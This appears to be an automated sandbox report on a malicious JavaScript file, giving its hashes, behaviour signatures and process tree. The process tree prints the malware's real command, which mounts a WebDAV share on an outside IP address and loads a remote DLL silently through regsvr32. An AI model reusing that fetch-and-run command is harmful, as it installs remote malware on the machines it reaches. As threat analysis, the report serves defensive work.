Analysis

  • max time kernel
    138s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 04:39

General

  • Target

    883530584296995330.js

  • Size

    5KB

  • MD5

    5d9fe1cc30c385e5ed9f90f990246862

  • SHA1

    fa75138769ff13a468d0f71bb91d9909b9750ef8

  • SHA256

    28e1d34b10533c6fca6a9497a74a57ecee88ed1166fed7285249dc9b9eab8e71

  • SHA512

    d39ff45608b73cc43d9036300767ffcc7f6d8b83d5ab28a028f73f0b61fcfb58f8780d809ec127eaa2be41ca0e3789d698a126654222f1e1bb30edbf2f99ce98

  • SSDEEP

    96:fAL5FNGwwxDwqkwPtldkwJC/baAkJOraHpS:fAL53BecqrPtldrJCjaAkJMaHpS

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\883530584296995330.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4616
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\88291401818019.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:344
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3152

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads